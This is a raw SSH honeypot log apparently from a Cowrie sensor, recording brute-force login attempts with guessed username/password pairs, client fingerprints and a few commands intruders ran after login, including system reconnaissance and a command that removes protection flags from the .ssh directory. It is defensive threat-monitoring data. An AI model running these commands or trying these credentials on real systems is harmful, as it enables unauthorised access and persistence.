{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:21.029177Z","src_ip":"213.209.159.158","session":"e0b39373bc16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.183.19","src_port":55962,"dst_ip":"159.203.135.109","dst_port":22,"session":"331c37ab12ae","protocol":"ssh","message":"New connection: 85.11.183.19:55962 (159.203.135.109:22) [session: 331c37ab12ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.240449Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xads\\x98\u001f\\xc4\u0003!Y\\x9f\\x87\\xab\\xb4\\xf6\t\\xbe6\\x9e\\xdb\\xe6>\u0018\\xcac\\xb7\u0011B\\xc9\\xde>\\xb3\\xa5m \\xdf\\xedb\\xc77T\u0014\\x9bH\\xbd\\xe0\\xc3\t\\xcf\u0016Z\\xf2\\x89|2\\xdc$\\xb6>\\xf1\\xbd\\xa9\\xd8\u00066\\xaf\\x95\u0000\\\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0329\u0328\\xc0\\xaf\\xc0\\xad\\xc0]\\xc0a\\xc0+\\xc0/\\xc0\\xae\\xc0\\xac\\xc0\\\\xc0`\\xc0$\\xc0(\\xc0s\\xc0w\\xc0#\\xc0'\\xc0r\\xc0v\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xads\\x98\u001f\\xc4\u0003!Y\\x9f\\x87\\xab\\xb4\\xf6\t\\xbe6\\x9e\\xdb\\xe6>\u0018\\xcac\\xb7\u0011B\\xc9\\xde>\\xb3\\xa5m \\xdf\\xedb\\xc77T\u0014\\x9bH\\xbd\\xe0\\xc3\t\\xcf\u0016Z\\xf2\\x89|2\\xdc$\\xb6>\\xf1\\xbd\\xa9\\xd8\u00066\\xaf\\x95\u0000\\\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0329\u0328\\xc0\\xaf\\xc0\\xad\\xc0]\\xc0a\\xc0+\\xc0/\\xc0\\xae\\xc0\\xac\\xc0\\\\xc0`\\xc0$\\xc0(\\xc0s\\xc0w\\xc0#\\xc0'\\xc0r\\xc0v\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.244401Z","src_ip":"85.11.183.19","session":"331c37ab12ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.253198Z","src_ip":"85.11.183.19","session":"331c37ab12ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.183.19","src_port":55964,"dst_ip":"159.203.135.109","dst_port":22,"session":"f360de24f364","protocol":"ssh","message":"New connection: 85.11.183.19:55964 (159.203.135.109:22) [session: f360de24f364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.428805Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.433474Z","src_ip":"85.11.183.19","session":"f360de24f364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:29.436697Z","src_ip":"85.11.183.19","session":"f360de24f364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfresco","password":"123456","message":"login attempt [alfresco/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:30.921689Z","src_ip":"213.209.159.158","session":"e0b39373bc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:34.278917Z","src_ip":"213.209.159.158","session":"e0b39373bc16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab16435c24da","protocol":"ssh","message":"New connection: 213.209.159.158:63400 (159.203.135.109:22) [session: ab16435c24da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:34.371548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:37.125101Z","src_ip":"213.209.159.158","session":"ab16435c24da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:37.129113Z","src_ip":"213.209.159.158","session":"ab16435c24da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yasir","password":"yasir","message":"login attempt [yasir/yasir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:46.685948Z","src_ip":"213.209.159.158","session":"ab16435c24da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:50.346633Z","src_ip":"213.209.159.158","session":"ab16435c24da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4482,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffae9410ff4c","protocol":"ssh","message":"New connection: 213.209.159.158:4482 (159.203.135.109:22) [session: ffae9410ff4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:50.454338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:52.715312Z","src_ip":"213.209.159.158","session":"ffae9410ff4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:52.718897Z","src_ip":"213.209.159.158","session":"ffae9410ff4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46594,"dst_ip":"159.203.135.109","dst_port":22,"session":"e09a1037ac7c","protocol":"ssh","message":"New connection: 2.57.122.210:46594 (159.203.135.109:22) [session: e09a1037ac7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:00.353076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:00.358236Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:00.463014Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:00.827917Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.169607Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.173180Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.283118Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.290523Z","src_ip":"2.57.122.210","session":"e09a1037ac7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44244,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ac99ce020e","protocol":"ssh","message":"New connection: 60.199.224.2:44244 (159.203.135.109:22) [session: 58ac99ce020e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.839804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:01.846748Z","src_ip":"60.199.224.2","session":"58ac99ce020e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:02.063142Z","src_ip":"60.199.224.2","session":"58ac99ce020e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arakaki","password":"arakaki","message":"login attempt [arakaki/arakaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:02.265128Z","src_ip":"213.209.159.158","session":"ffae9410ff4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tiptop","password":"12345","message":"login attempt [tiptop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:02.955712Z","src_ip":"60.199.224.2","session":"58ac99ce020e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:04.177593Z","src_ip":"60.199.224.2","session":"58ac99ce020e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:05.912720Z","src_ip":"213.209.159.158","session":"ffae9410ff4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19252,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a2a794fef21","protocol":"ssh","message":"New connection: 213.209.159.158:19252 (159.203.135.109:22) [session: 3a2a794fef21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:06.037936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:08.294680Z","src_ip":"213.209.159.158","session":"3a2a794fef21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:08.299139Z","src_ip":"213.209.159.158","session":"3a2a794fef21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applprod","password":"applprod","message":"login attempt [applprod/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:18.340368Z","src_ip":"213.209.159.158","session":"3a2a794fef21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":41256,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ea07d1cebd8","protocol":"ssh","message":"New connection: 34.85.163.94:41256 (159.203.135.109:22) [session: 3ea07d1cebd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.556467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.561052Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.572908Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ1qaz","message":"login attempt [root/!QAZ1qaz] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.826777Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.887999Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.891830Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:19.896288Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.052421Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
